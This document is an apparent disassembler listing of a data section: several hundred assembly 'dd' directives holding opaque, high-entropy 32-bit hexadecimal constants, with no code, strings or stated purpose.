		dd 0BC503A9Ah, 8A885DD6h, 0AD0D0822h, 9E8A5168h, 5FD15DACh
		dd 48F23FF3h, 0B0344F9h, 0A8FA48A2h, 3D65154Dh,	2AB2661Ah
		dd 0D96489E3h, 1A90EB2Bh, 901BA43Eh, 21682B9h, 0E9DF8FBEh
		dd 18E58CC4h, 0BE3B4695h, 63D9431Eh, 65833A4Ah,	1D9BE9D5h
		dd 39994B54h, 0D45527FFh, 0BD565501h, 0C46BC99Ah, 2B8EA9BBh
		dd 48EF6D41h, 6C4BAFC0h, 0A3EF0E56h, 0AFC6AF50h, 4816460Bh
		dd 7C7AF08Ch, 1470345h,	4878A20Dh, 0FFC00F24h, 0FB21AA2Dh
		dd 280C3B74h, 5C436884h, 30A4F451h, 0D551616Ah,	0C5614F54h
		dd 12AC242Ah, 64A283CAh, 22FAEF25h, 771DD1C8h, 0BC00D02Bh
		dd 79A5E515h, 5CC12AEFh, 48944D67h, 57EACF4Fh, 9804B820h
		dd 0A2FF1E86h, 0F9342E90h, 559636A3h, 0BF75A8Ch, 1CE4A663h
		dd 0B4653B04h, 718DDC20h, 0CE0A76C2h, 98365FBh,	0D0209581h
		dd 42868451h, 95055570h, 6034AC7Fh, 0CA17FC7Fh,	435FAE3Eh
		dd 4AE27229h, 6E527101h, 1A3EEFE4h, 0A6D1B7ACh,	0A65DC88Ch
		dd 27FF0B42h, 3BF4D5A3h, 0AFC013D8h, 0E0E188A8h, 0E562ECEBh
		dd 5DFE3877h, 98766B70h, 0C71CD16Ah, 0CEFC7F24h, 238E6DBAh
		dd 0D1B4D0CEh, 0CCA2FC98h, 0EF345851h, 182FCFE9h, 10670B8Ch
		dd 0A20CE6E9h, 0A60837C8h, 2268DB40h, 2268BA70h, 0A38EAA61h
		dd 0B2CDAA28h, 0CFFAB701h, 8E495019h, 0D158689Ah, 2D7435FEh
		dd 0C4C752BEh, 5F0E7AE4h, 9A187E8Eh, 0DA8CB8F4h, 80BBA02Ah
		dd 6356FFEh, 461C6824h,	0DF4D72BCh, 6C77405Ch, 85920EA5h
		dd 1C84589Bh, 7F8A501Eh, 4488BD7h, 8A8F7B9Ch, 0A533B3ADh
		dd 0FF4FCE02h, 0C5C041DEh, 8DF5CB0h, 0A30768FEh, 3DBBEF0Ch
		dd 0CA8BF881h, 0C4E06137h, 6FF2680Bh, 0B6887FFAh, 3A41D0EAh
		dd 906BB5C6h, 5F7217D2h, 6542E69Dh, 0F0BA26C2h,	0E7469ABBh
		dd 0AB97501Ah, 6922B3D1h, 0B8941AA7h, 3388A6E0h, 17457823h
		dd 0E4B4EDD0h, 93C81292h, 11152607h, 0A3AAC266h, 0E78CB109h
		dd 0F273320Fh, 6CB4286Fh, 1F1B8EAFh, 75E14175h,	0A35C2101h
		dd 0FE6B6EACh, 2983FCFh, 4FCEA582h, 29F2EA97h, 3E67AA4Eh
		dd 1D785FF4h, 32BE73CDh, 1C430914h, 10041DDh, 9AF7A88Ah
		dd 1891A99h, 7BD51AB6h,	9C14E68Dh, 0C57E8BEDh, 546E28BCh
		dd 5886506Bh, 14B50B40h, 89D9ABD4h, 218951DEh, 0F91A8A32h
		dd 7963D82Fh, 568E9F07h, 438E9778h, 0DEEB1D55h,	9E1A6872h
		dd 0F5A2B50Eh, 0A1846B51h, 4CAA3915h, 0BFE936C3h, 0D1EFB110h
		dd 7077EBB4h, 97578B6Bh, 0C78BDA61h, 73530FF0h,	2F8420D1h
		dd 60A8CBDh, 0D66337A7h, 0DDC9637h, 2F8CAD1Ah, 15D23577h
		dd 0EEB819D8h, 5C9C1233h, 78C84E3Ah, 0E398C5DCh, 0CA6E12BAh
		dd 0A575EFE3h, 7D112211h, 0E63898D4h, 8D594812h, 1DD3BB89h
		dd 375FC446h, 87B15529h, 8ADAB29Eh, 62906624h, 0F3660079h
		dd 0CEEBCABAh, 8BE772ADh, 4AD5664Ah, 0E70182A6h, 0BBF80250h
		dd 0D3683220h, 43E826C0h, 0BE09A62Ah, 32EA0BEFh, 91B52D60h
		dd 51F5B0DFh, 9FECDC94h, 57B0CFE5h, 943F7515h, 0E9E02F87h
		dd 0EFA7577Bh, 0F4E6465Dh, 0D5439D58h, 672E82CFh, 997DD607h
		dd 0E8E32CDCh, 0DAAE1F5Bh, 0F556617Eh, 0D492E641h, 4A055640h
		dd 0FA183BF5h, 8ED72703h, 0AE3C6BBCh, 6E205902h, 3693C52h
		dd 3B96BE43h, 1AA62CA4h, 0BDEAD5FAh, 0F6E933DEh, 42458EA7h
		dd 290B2501h, 0E91CA388h, 0F04553DBh, 87027D38h, 520AFC7Dh
		dd 0C6C3F999h, 51E6F1CFh, 0D28FD702h, 89220329h, 0F128099Ch
		dd 0A6ADCFFCh, 0E3AAFB2Fh, 0D035FE44h, 4F81BF4Fh, 0A00DD4A7h
		dd 93F84CEDh, 857C5D17h, 0ADC70613h, 0CE246565h, 4B4CFACCh
		dd 0DED5AA0Fh, 0B18761A5h, 0DA3E1A00h, 3EA50894h, 857B8BECh
		dd 0D14B3983h, 0AC428A7Fh, 0E6550108h, 0BFD98CA4h, 79157BEAh
		dd 25EA2855h, 0DF5AC9Fh, 0D15E260Ah, 0B3FF2155h, 34C4046Ah
		dd 0E239DDF9h, 5425BAE1h, 0FBEF202Eh, 41E26128h, 97EAD230h
		dd 0BC660F5h, 0AC5E5B1Ah, 9432EEBEh, 0E6C0D42Ch, 0E7431A58h
		dd 3829909Ch, 0FD0B480Ch, 0ECBE2BB9h, 534D67B3h, 304CD8BAh
		dd 0BF8BDAABh, 61748C06h, 271228A5h, 0A4AD9360h, 0A519DBACh
		dd 5C206204h, 0CF1B0FDFh, 0C233898h, 62230935h,	7006CACh
		dd 4AC104EBh, 0BD293205h, 9938FA6Fh, 0DD350583h, 0E30FCED7h
		dd 0B2B4477Ch, 50D5FE00h, 30138906h, 0C9AB0FFFh, 0D70E851h
		dd 1F28EA11h, 0A0363AA4h, 0AEE50551h, 29C0A8BAh, 0A9D56628h
		dd 0DA5264B3h, 2F085554h, 0D5534156h, 390A350h,	0F18385CAh
		dd 68FEC04Ah, 56B6D29Fh, 853A5155h, 5F536701h, 3F0B4943h
		dd 0C64598C4h, 0D1ECBF7Ch, 70508E92h, 0F369621Eh, 62B53E6h
		dd 0A5097162h, 44F596CEh, 152B1C50h, 55191A40h,	253789E7h
		dd 0B507DE89h, 0AD15DF9Dh, 9A185B49h, 0A5CB06A0h, 5D29BC24h
		dd 0D6C42DA9h, 8923B407h, 0F7AE45ADh, 9E4AEA7Fh, 685E721Dh
		dd 23CB2B5Eh, 56A0A6F7h, 3B0D1B4Eh, 715510DAh, 0CFCF53B4h
		dd 90292493h, 249F3175h, 1441BD90h, 599559BDh, 0C757CA85h
		dd 548E3215h, 753DCA44h, 0D96EA07Fh, 0CFE72EBh,	4751453Ah
		dd 0A2CBA283h, 711E2152h, 5494051Ah, 52156E10h,	0BDAC9754h
		dd 978495D1h, 1BBF8B17h, 719F8CD7h, 91814ACh, 41C36A23h
		dd 672888F5h, 0F30876B4h, 0A968AF35h, 0BCC8A6Fh, 0E376C637h
		dd 0DEA6372Bh, 74B6481Ah, 20CFCB1Ah, 8CC7AA31h,	0D8292833h
		dd 0F1ED46D5h, 4151250Ah, 0F5B81853h, 61135773h, 5256DD2h
		dd 6EFACA0Ch, 4214BB4h,	0DEE280DEh, 80031312h, 99687EBh
		dd 41F933A6h, 2812A90Dh, 918C68CBh, 5FA04974h, 3040C05Ah
		dd 0E8065C68h, 0AB8151D5h, 795B376Ah, 0B84836FCh, 2AA718CCh
		dd 22AB43B9h, 3125893Bh, 64666BF5h, 0BD5A8049h,	878B2E34h
		dd 0F1412B6Ah, 99390B37h, 0EC821B37h, 9C4798BBh, 364F67F6h
		dd 16BAEE91h, 0D81E755Dh, 60FF4468h, 0E77438D7h, 5EE8D02Bh
		dd 0F92A2DD9h, 0E185B1C4h, 8B2ABD9Dh, 0B0665FDAh, 0E30EC75h
		dd 581E2FCDh, 341CFD57h, 6D11DC1Fh, 0C6971D60h,	0B51D2D17h
		dd 0B5E85567h, 97A5545Dh, 0ED56B5A1h, 0A3235C35h, 0AFDA2E89h
		dd 0EE494AB2h, 0A3F9D999h, 74CD974h, 0B48F4116h, 0D935B97Ah
		dd 693C7794h, 345A0B3h,	0C6B37A1Dh, 12DEF176h, 0F1751572h
		dd 5A27DB8Eh, 32D8183Ah
		dd 11A59457h, 40CCEE5Fh, 1C83F516h, 943DAB11h, 151D357Fh
		dd 0E0897421h, 65755EA9h, 0F8703325h, 3350B590h, 6B52FFAAh
		dd 0A28927B1h, 82C3D280h, 0AE57861Bh, 3CAE437Ch, 9AE9A505h
		dd 0E0CE5C51h, 0CC623860h, 0DDF297A4h, 4273A08Ch, 3DA6214Fh
		dd 18B01D96h, 2C5B4820h, 16098ABh, 0D1EA72E1h, 0B36AB255h
		dd 0BB3FD258h, 4C44150h, 456B92D5h, 495CA8C7h, 0BC24D154h
		dd 0E26FAD98h, 96E7D56Fh, 8280007Dh, 0C7CEF288h, 8D3B3220h
		dd 64BB86AAh, 89B66935h, 125A7D28h, 0A742C1C0h,	0B7EA11AFh
		dd 52087C5Eh, 0E88BB03h, 9F16EBC1h, 5828832Ah, 67A6F87Eh
		dd 2C62A5F1h, 2ED75F99h, 3D183F68h, 0AE9E1009h,	0B55FDFF7h
		dd 0D315D8B6h, 51EA0Ah,	0F1901F7Bh, 0C2197F80h,	7C0F09FFh
		dd 1B724342h, 88AC6C6Ah, 12ADA6D2h, 61AF3570h, 73185125h
		dd 17975103h, 0EBDB88ECh, 1B8F4BD5h, 5B1B9974h,	0D158A903h
		dd 319B8C55h, 0E59A70Dh, 3F69264Ch, 9307CA66h, 3CD7616Ch
		dd 7811DEA2h, 82F20F95h, 46D52D3Ah, 0FAD1E8D1h,	2E8B86AAh
		dd 6F3A982Ah, 6E6877D4h, 0A1CB4155h, 8B465A18h,	0BA41B25h
		dd 4CA09833h, 0DAF049B6h, 9B3785Dh, 380D4CDEh, 0B3FEFE6Ch
		dd 749A966Bh, 87DF6391h, 0FB189C48h, 1BABBD1Bh,	362CE341h
		dd 0EF1C9EB8h, 0ED0908CBh, 0D5EDD537h, 0DEF8186Ah, 22D81A86h
		dd 0C04E695Ch, 2E3AD1F2h, 8D8B6466h, 4C281567h,	3C18261h
		dd 546D65A7h, 22D661A8h, 8F3918CAh, 23A25D14h, 450170A2h
		dd 0D8B6FA3Bh, 290D985h, 0AD34A6Ch, 82D116B3h, 4884C960h
		dd 72264466h, 8CFB93CBh, 55F611AAh, 7953843h, 29145068h
		dd 57E70499h, 3411A229h, 0BBBE7E37h, 94458227h,	6143CA2Dh
		dd 0B81365A3h, 37225E9Ch, 0D4508495h, 0EC058CBCh, 0B8C6D369h
		dd 0E9031CFDh, 4546A26Fh, 0C25953BAh, 0AB28DA28h, 0F7455F13h
		dd 6AD6C6D6h, 1A8B51D4h, 68A4974Ah, 0F75DFFA2h,	0E6D3D13Eh
		dd 165190FEh, 996BF2E9h, 0D72577DAh, 0FEC9FA7Fh, 0B37A837Ah
		dd 6514B1CAh, 39340182h, 19168630h, 0EF96942Ah,	14BFEFACh
		dd 6D225C6Ah, 233A600Ch, 800B038Ah, 5A0082BBh, 0A14F130Fh
		dd 67037E19h, 7D58DBA2h, 714A2713h, 3067AE3h, 0D6CD50ECh
		dd 0A2486284h, 34B33094h, 4011A5D6h, 8012C1DAh,	579F55D9h
		dd 573745D2h, 76556475h, 1E8B21FCh, 2AE79B57h, 0C21B28D4h
		dd 0B4576270h, 0AB95A72h, 73D0020Ch, 77D46BA7h,	1832B2BEh
		dd 15780A5Fh, 5650A441h, 0ECACF4CFh, 0D65D7D22h, 0C863B150h
		dd 102625A4h, 49036229h, 0F8020780h, 0E930C6E3h, 9517DAF5h
		dd 449A66E0h, 0F70F9839h, 0CFB2EB19h, 85780C3Dh, 0A124507h
		dd 0AB8AA199h, 76049075h, 0E779CF8Ch, 85A46451h, 627742C5h
		dd 0B2C9E630h, 0B4048DC3h, 95A514E1h, 4EDCD7D1h, 90756C19h
		dd 0D47A1D6Ah, 14FFEF92h, 0AF7C8311h, 85BF66B2h, 6E5E990h
		dd 0BADFF748h, 0D8046C78h, 0EFB93192h, 460C988Ah, 5ED869Eh
		dd 234F5365h, 98FAB148h, 29978657h, 2882928Bh, 0C819F32Fh
		dd 313F4FE8h, 0B83A76A6h, 89B22338h, 60BDA6BCh,	7FD95178h
		dd 0B387E2FDh, 0B28171F0h, 82977C15h, 0E5593940h, 6A3C4864h
		dd 6851A48Dh, 0F988AAAEh, 0B88557CBh, 0EC031B9Ah, 68E3BDC1h
		dd 0C110499h, 26775A2Fh, 0D1406A99h, 22CAACA8h,	0BAC7B4B6h
		dd 4608A20Ah, 0B8052D16h, 0D87AB6FEh, 66FECCBDh, 0A233D35h
		dd 0C37319A6h, 0F9046C88h, 2A2A482Bh, 0A0CD17BEh, 560D2591h
		dd 6F4584Eh, 17C8D1CCh,	49CD14A6h, 6A814B02h, 0AA27FA2Dh
		dd 4624B0A2h, 21623D66h, 8A962AFh, 3664B126h, 5D0A59C4h
		dd 76F1F5C4h, 14830D60h, 0F630580Eh, 91ED1155h,	8C948C6Dh
		dd 0A863500Dh, 0C5542516h, 5738A7BDh, 5272208Dh, 47DC1066h
		dd 60F6E005h, 0D305B723h, 45576763h, 0ADEB1C96h, 0E03FC754h
		dd 0B7EF6ABAh, 168ACABAh, 5A1E4606h, 0EB464545h, 0DF78E2B7h
		dd 0BF7A948Ah, 62E21D5h, 64D25363h, 51EBE9Bh, 0EF96FEB4h
		dd 6271834h, 81E2B800h,	0B78707C1h, 0E856118h, 90AAAD57h
		dd 13C800Ah, 415A3225h,	6F91FAD1h, 0E6A5689Eh, 9E37A589h
		dd 0EF2D1A40h, 0AB97AF9h, 5541186h, 0CE9FD4A2h,	0A505113Ch
		dd 2378056Fh, 0A97736C4h, 6A88134Bh, 0CA02D9h, 2AFDA3Bh
		dd 55915B90h, 0E45DF518h, 4DA5E289h, 71792DEDh,	202DB4CAh
		dd 20C99B46h, 0BD7B1545h, 0CA239A44h, 3310E098h, 4300E40Dh
		dd 11488998h, 0E8889B46h, 0D5F9EDA2h, 0AA304921h, 2168F690h
		dd 4D11A572h, 3E42A222h, 0C448C942h, 451FAD11h,	35288238h
		dd 0E806216Dh, 8975014Bh, 2C4AC9C4h, 55A19673h,	6227030Ah
		dd 149BF68Eh, 1DA100B3h, 29B6071h, 6211CD14h, 0D1CC308Eh
		dd 0A72DF208h, 700DBE30h, 12C089A3h, 33688505h,	0A6B8C157h
		dd 4C1FC7D8h, 392C6AD1h, 0D5A229E2h, 0D14447C8h, 8F904814h
		dd 814D7210h, 0A2DE869Ch, 38F6F09Fh, 7727438Ah,	8015A022h
		dd 0E6A9E9B7h, 9E65FA09h, 89E51B90h, 689E51B7h,	0B489791Bh
		dd 7E895251h, 3AE8E7B2h, 0F092984Fh, 0F2DED8C4h, 4F243174h
		dd 44F28D7Ch, 493468D7h, 55411C8Ch, 28DBAD0h, 17572DDEh
		dd 4407C4E0h, 121E69E8h, 8AB86A0Fh, 2BCA79B3h, 7678FF45h
		dd 91F02B8Dh, 9D6DC282h, 13C89F31h, 3428B4F5h, 0F2D8C157h
		dd 4F2ADD84h, 84F28DD0h, 4436E8DCh, 51B6A53Ch, 346D9E4Fh
		dd 0FA9D09E1h, 13CD2279h, 413CA266h, 184F7236h,	5F13CCA3h
		dd 35C10A23h, 0CE91CA22h, 9E043CFAh, 79AB0927h,	1F4F6AE2h
		dd 0D4849CA2h, 384432C8h, 8FB6F3FBh, 0BF27A027h, 7C15A0FCh
		dd 0F34206BDh, 84F27284h, 104F0AF1h, 0D044E68Dh, 37442BC8h
		dd 536EF3BBh, 0A46CFC4Fh, 3B154233h, 2DEA9E64h,	0EC05A4E5h
		dd 0C2CA325Ch, 0E430CB75h, 0ADF15BD4h, 85A3F94Bh, 96B4D439h
		dd 95424FE2h, 51786E01h, 0DA3CB2A4h, 81B0B398h,	0ED980544h
		dd 0A0F19EA4h, 46E2CB46h, 0E922E57Bh, 0CDC58977h, 3E6AF1FDh
		dd 0D094A2E8h, 0D9DABB14h, 6F26E6F4h, 9EA7A9Bh,	57AC896h
		dd 67466DA7h, 95248279h, 7919A227h, 279069A2h, 0C2794694h
		dd 0A2434468h, 0EA37B29Ah, 9B7F13CCh, 9EC4F278h, 8DDC2668h
		dd 0D324F3CEh, 79714F30h, 27954E62h, 9B0446DCh,	93C2D328h
		dd 0B88EF290h, 0B15D42E0h, 6918CCAFh, 25204C82h, 279F4CE4h
		dd 66415ECEh, 0A7622972h, 22753CDDh, 0BA2713CDh, 2BA9F13Ch
		dd 0F09A194Fh, 3CFCD6C4h, 2A897591h, 0EA424B53h, 9626E134h
		dd 0C9B279F8h, 3C8F4F13h, 13CD74D1h, 3230A749h,	93A1ECADh
		dd 0E93A9E69h, 58D389E5h, 0B4DA089Eh, 0F04FBF13h, 0DE04449Dh
		dd 2A4C2169h, 9B84F39Fh, 7931EC27h, 2791EE82h, 0A2794EE4h
		dd 0A66BA4EDh, 0A9D9D794h, 9C9D13C2h, 26E9C4F2h, 0CF4F904Fh
		dd 0F79AC693h, 3CE9F897h, 8F495F1h, 0ED494A14h,	69B7ED36h
		dd 0F571D3A7h, 0A7550D82h, 0D2753CC8h, 942313CBh, 3A80213Ch
		dd 0E4C9E445h, 0F3309E6Bh, 4F3F9384h, 0C9029D28h, 4E8C9254h
		dd 66D079E5h, 0B45126C5h, 7A6D1534h, 39D182AEh,	1C7D2D2Ah
		dd 24E955Fh, 44A50A50h,	0E68896B7h, 9ED8B805h, 93F8517Ah
		dd 8B219C2Ch, 750ABCBAh, 0B36AC02h, 639B67CCh, 9CBD095Dh
		dd 0BED4EF45h, 0CACE0764h, 3896B96Ch, 8FE288B0h, 0E5D2B712h
		dd 9E06E8A1h, 3BBE798Fh, 92049D2Fh, 0C4508CA2h,	0CF31351Fh
		dd 0AF3B7795h, 0E5E71B90h, 0D3F89E07h, 8E2372B6h, 9A79899Ah
		dd 0B912A531h, 0FB6B38FBh
		dd 0D4CB0E33h, 0A4DC5060h, 0EBF42B8Bh, 3F932E63h, 7C032C2Eh
		dd 0E6A694E3h, 0F26C6D0Bh, 92BA6E0h, 55D849DAh,	89DE04h
		dd 0B186BE74h, 266A785h, 5BCE247Bh, 17BBF4h, 5761195Ah
		dd 12906A16h, 54170BB3h, 2FE91D87h, 33C73FCAh, 18F5B61Dh
		dd 24189F2h, 62AE5439h,	0FDCB5DACh, 25D4D8B3h, 88E0A7BEh
		dd 0D5945779h, 0B9BFC563h, 5B329B7Fh, 228667EBh, 291C109Ah
		dd 8727C8B0h, 0C61ABB13h, 0CEBD0F41h, 31E409EBh, 710A7118h
		dd 348517D6h, 84B4E411h, 0CD622241h, 0F2CA8D89h, 37C05126h
		dd 0C4E9A70h, 0CCC453BCh, 33B55AD8h, 83429D4Eh,	7C20553h
		dd 0B741CD3h, 1CBA93D7h, 9F33A8E0h, 0A461834Bh,	0CE3F6713h
		dd 85561AA6h, 0E3B5BA32h, 52F0ECCCh, 0B8269384h, 31AB6D16h
		dd 902F8DA0h, 0CC83C9F4h, 14143383h, 3236E893h,	4E2D50ACh
		dd 3BF99002h, 8C419219h, 71EBB06Dh, 4C0857C1h, 54968204h
		dd 4911767Ah, 5D45513Ah, 0B431DBAFh, 0E8302788h, 27A81C7Dh
		dd 2128D1F7h, 6ED492E6h, 2A91B9EBh, 4762458Eh, 84D4C46Bh
		dd 5A566EC5h, 680C1B4Eh, 29378793h, 52058533h, 288D4DBDh
		dd 8179120Ah, 0B1A94048h, 82905CC9h, 0C9BABA6Dh, 60BD394Eh
		dd 20296D6Bh, 0CF54704Fh, 0B89EC493h, 0AA897D32h, 3A905953h
		dd 23C9E539h, 0F37A9E75h, 4F2C9404h, 0C4F29D34h, 204FE9D2h
		dd 0D4C8A09Dh, 0B74E39D1h, 91E4A279h, 0E41D8427h, 364DE229h
		dd 0C4C53BE9h, 1EC4AFF1h, 980B25A5h, 0EEE3529Eh, 95A79684h
		dd 2EE40B9Ch, 909E7518h, 6987513Bh, 1A7666A3h, 0D34653CCh
		dd 89E6D13Ch, 409E9335h, 29993D3Bh, 8C9D7763h, 3EF184F3h
		dd 0C279884Fh, 0B62774CBh, 0AC89E04Eh, 3AB087D3h, 8B26E47Dh
		dd 0CB6A9E12h, 3CAD5413h, 27897511h, 251EC553h,	3A10E511h
		dd 0C49945E1h, 26D38443h, 6492309Bh, 465808A2h,	13CF6C9Bh
		dd 32282F47h, 93A1EC49h, 3D3B9E79h, 4DB789E7h, 0CFC2F935h
		dd 4EF25114h, 0E88279A3h, 3C9B2794h, 13C96781h,	0CDE2A773h
		dd 3B583144h, 61C9784Dh, 0F3DD9E41h, 0CA279A44h, 0EC420D4Ch
		dd 86269024h, 0CDFC79EBh, 0D89E5E13h, 6CCD2D32h, 8C216A12h
		dd 26587C4Eh, 0F42177F0h, 0CAA11995h, 0D82F939Dh, 5CE72684h
		dd 99445418h, 9C14620Ch, 79AA60BBh, 2795EA02h, 64914E98h
		dd 0A748282Ah, 22713C9Dh, 0F50313C9h, 279634F2h, 29B14C86h
		dd 0E94234E2h, 0F5565C4Ah, 0BC2648E7h, 0FB3592E2h, 216DA40Eh
		dd 964F10CCh, 7880480Dh, 112D89B5h, 7A3A2BCh, 142D9F56h
		dd 0F5DB6D9h, 7C19344h,	3F3726B8h, 0DD9E5238h, 90421FB5h
		dd 5DF98A3Eh, 815519FAh, 35CE92A5h, 65F26C9Ch, 0A92FE9BFh
		dd 110F04CFh, 859B1FF8h, 942A21CFh, 8E518F85h, 2C8AADE0h
		dd 0D17CD7DAh, 0E952AF4Eh, 6193C6E1h, 3039EA59h, 0CC1564D7h
		dd 0D42D9932h, 0A50D631Eh, 0D8D11B09h, 0CD6AC632h, 51256755h
		dd 68F98EBBh, 0B65D4021h, 0C0F1BBF5h, 3824BEACh, 73907C2Eh
		dd 0D0C24615h, 0DD19CC2Dh, 1B89BF9Ah, 0C35402CAh, 0F54AA2A8h
		dd 0DAE75544h, 0EAD5960Dh, 38B5C1F9h, 6D7E3682h, 6FE949A2h
		dd 670580A8h, 5DE5A26Dh, 6DFBDC5Bh, 1A88DA2Dh, 8AD3AA30h
		dd 6A82C235h, 4B838CA1h, 51342F9Eh, 0C9A30C5Fh,	94CDCA0Ah
		dd 1CF39BB4h, 0A1285DDBh, 616F0F1h, 0DEE79526h,	0EA033470h
		dd 5F34CEA0h, 14AD8686h, 14232A4Dh, 0EE721F54h,	0FC999347h
		dd 0F1CAC08Fh, 4AD5A659h, 3BDD94A1h, 29182C42h,	8D485F06h
		dd 63095DD1h, 0E00C1D27h, 0E50E23BDh, 5050962Eh, 3A1361E9h
		dd 0AE732F87h, 25753A1Ah, 20179C05h, 0B11D06A7h, 69575753h
		dd 20F64C66h, 2EBBAB5Dh, 0A0618C80h, 0D6B5D152h, 0C6B39EECh
		dd 83D72EB1h, 2BE8FA2Bh, 472A98F8h, 96650A9Ah, 83253151h
		dd 29B4ABB8h, 546F7995h, 59FAF5F6h, 0ABB4CC4h, 53FDE4D5h
		dd 0BD9CE6ADh, 0FCF77028h, 0A773AEEAh, 1B1DC31Fh, 212B6CE0h
		dd 551E77DAh, 8309DC4Ch, 0AC6134E1h, 21607889h,	136872E9h
		dd 2933BA5Ch, 4C6955A2h, 0FD996DE3h, 93B90BA5h,	243F0E2Eh
		dd 2C75C00h, 59021C4Eh,	0D2105D19h, 0B3080114h,	8138AE0Ch
		dd 0BEEA94CFh, 5786CED7h, 0E02AE762h, 5709E995h, 0FCB4DE96h
		dd 0BBC729FCh, 0E22D0908h, 0E742659Fh, 2579289Ch, 4CDD295Ch
		dd 401B886h, 38CBAE49h,	3252D6F4h, 0FCBEC379h, 0E3D00DCAh
		dd 5886595Ah, 8A0EC452h, 2EBC03F6h, 0E2F6F37Bh,	2FEE6D5Ah
		dd 88E9015Ch, 28E252A4h, 436D7099h, 0CC77C372h,	0F1DA30E9h
		dd 87E590BBh, 296A8606h, 5DCD7519h, 1612BFE2h, 512F6A2Eh
		dd 0B9FD20B1h, 0D0258B40h, 7F551082h, 337E992Eh, 4250CB5Eh
		dd 2A083EFAh, 2A320EC4h, 0AA3D79A8h, 8E08FA24h,	1277397Dh
		dd 927C513h, 93C0F1FCh,	0AB47D281h, 0B887C714h,	8A522262h
		dd 7F91FA1Ch, 640F1086h, 3F24FC2h, 8FB3169Ah, 59BABE86h
		dd 0F434B180h, 262DCD15h, 0CFC82A5Fh, 0B7660868h, 9262DAA9h
		dd 0DC59CB35h, 0E922AB17h, 0E045429Eh, 22E54BE9h, 8297F482h
		dd 2BB21D1Ah, 6C233699h, 0F9A4CAE8h, 1F560B9Bh,	0CAFE287Eh
		dd 0D70605FAh, 2254613h, 7F09339Dh, 46A9F397h, 9AA3561h
		dd 211568DCh, 0A4C1AAA4h, 0F8C4A1E8h, 263417B1h, 9757FE8Bh
		dd 0B7A970EDh, 4C1A58A4h, 0EB7D14DEh, 0D2ECB3CAh, 6B1019A0h
		dd 0AC92C866h, 628E3020h, 0F8C39EB8h, 894C4D5Dh, 0F2CA35D5h
		dd 3B71941h, 85C735E9h,	35418D9Ah, 68DBD0F2h, 0E202C6AFh
		dd 0AE6788A7h, 184A0887h, 0B4A211h, 0C9E5FC49h,	0C1BBBA11h
		dd 0C6846677h, 4AC23538h, 0AFC4A9E9h, 0AF99AC3Eh, 5F5BB70h
		dd 27C3272h, 0AC429089h, 47D11BEDh, 5D284AFFh, 70037856h
		dd 0E558BF5h, 0EC22C58h, 15A2F07Ch, 4C9EAF9Ah, 8061830h
		dd 42771E2Bh, 0A3409578h, 6F16FD71h, 33C363C8h,	3F1A5AF9h
		dd 69C086C4h, 9CC1CAF4h, 62EF034Fh, 8FDE588Eh, 20BA8E29h
		dd 0CFE426FBh, 6B294C0Ch, 0F15D65A5h, 5571CE87h, 0ABD635Eh
		dd 0A283266Fh, 11426C45h, 1688EF78h, 19DAFE34h,	5ED9EFA7h
		dd 4E446FDDh, 0B4634041h, 5098892Ch, 0C7732AB1h, 177929DBh
		dd 11067F42h, 0BE2FB24Ah, 639850EAh, 7955E754h,	0A366AC28h
		dd 2482FEC2h, 3C9092B6h, 6DA8BEA6h, 0F273BC4Dh,	6E940DAFh
		dd 0D30C3A0Ah, 0A8B457F2h, 2B5455D2h, 0E1408210h, 0B430C168h
		dd 2BF824BEh, 65316142h, 7DFA823Fh, 0E22315D9h,	378644B9h
		dd 0C183DC62h, 8AD268F4h, 3F7DC7FAh, 3BE7F094h,	0DC764D2Fh
		dd 0BF98DF3Bh, 80666B2h, 0C6F9E947h, 0F074B58h,	8642633Ah
		dd 54F1F54Ah, 0EA493FCBh, 0FC5D4424h, 0CA4EB3C1h, 2729D1DFh
		dd 0CC4D8C23h, 583FDFCCh, 4216D1AEh, 0E56BABBAh, 8460867Ah
		dd 3BACC6A6h, 0EBEF2712h, 8EF50EA1h, 8AF9EFBBh,	67433274h
		dd 0C826C8C4h, 260B7A72h, 1061DC45h, 298D6D12h,	52A42527h
		dd 500625D0h, 25628A04h, 7DA10376h, 0E5322FE4h,	0F95DD8A2h
		dd 2DC412F4h, 0F514EF76h, 11B04F87h, 0D01FE87Fh, 0AB455674h
		dd 0D1E594ACh, 0D44911B0h, 9066B88Bh, 0D597A72h, 280B77A3h
		dd 2ED29C66h, 553AE479h, 6BB265D3h, 0F6B394Bh, 8B576924h
		dd 40D812AFh, 5768E1CFh, 0C6D11418h, 2A839108h,	19972610h
		dd 0B44EFF1Bh, 19967956h, 41A425EFh, 5757903Dh,	0FC7824Bh
		dd 1ED3ABBDh, 50244558h, 7267D526h, 3A866360h, 0C98DB7AAh
		dd 34A29A40h, 60C295DCh, 0C069BE4h, 8858B3Bh, 5712E17Fh
		dd 0EB31CD76h, 0A8FA522Eh
		dd 4BAD1986h, 7AA00310h, 837B1289h, 79A2C765h, 64A99284h
		dd 48FEBF58h, 1A06D583h, 2A6D2978h, 0A2A19219h,	44AA1292h
		dd 0D7B8192Ah, 0DC8CCCFDh, 227DD244h, 0EA6C37ABh, 8A683ABAh
		dd 0A6509167h, 80123F89h, 5279FA73h, 597FD57Fh,	0C9DD980h
		dd 14E12E20h, 5E43DAC4h, 0EDEE38AAh, 9204EA52h,	0E980A146h
		dd 37AF3E0h, 7F1CC328h,	9C8902EAh, 481051BAh, 1148726Bh
		dd 0B657CE7Fh, 0B39F8267h, 0D87F4147h, 51A4C474h, 4B911131h
		dd 8ABB74BCh, 16C1A612h, 9E2C495h, 6BF1A3DBh, 0CFB9338Fh
		dd 39029E18h, 0B3336FD3h, 346F67C6h, 1F86E4FAh,	0FB969ED1h
		dd 9D6C56CCh, 85109EB2h, 0EC3213F6h, 7C97C739h,	9A50D567h
		dd 452F33Eh, 99998AD1h,	44CF48E6h, 808FF59Fh, 0CA750DA6h
		dd 1194413Fh, 4B59F5B2h, 0A82C74EAh, 0E5E2F5CEh, 124F6BC7h
		dd 59A00A8Ch, 73B7D342h, 0FCEA6B62h, 88B9CFDAh,	6E785300h
		dd 8A5AB965h, 0DAA4B3D0h, 55D3A20Ah, 4291B2C2h,	44AAE2Ah
		dd 78C86B34h, 83B0D1B6h, 0F6D8E611h, 0DDAA1143h, 41C55A8Fh
		dd 85FFACA1h, 2FDFF9CEh, 0F4ED049Eh, 499442EBh,	7641C512h
		dd 4FBB547Ah, 452A2ABBh, 6452292Dh, 0E3F6C9D1h,	11B55085h
		dd 0D2F08B7Eh, 0DCB6BA34h, 372FA8D9h, 0A8A3FD9Eh, 19F95025h
		dd 228CD233h, 0CAE5417Dh, 72B0CA60h, 11A19D9Ah,	33F620E3h
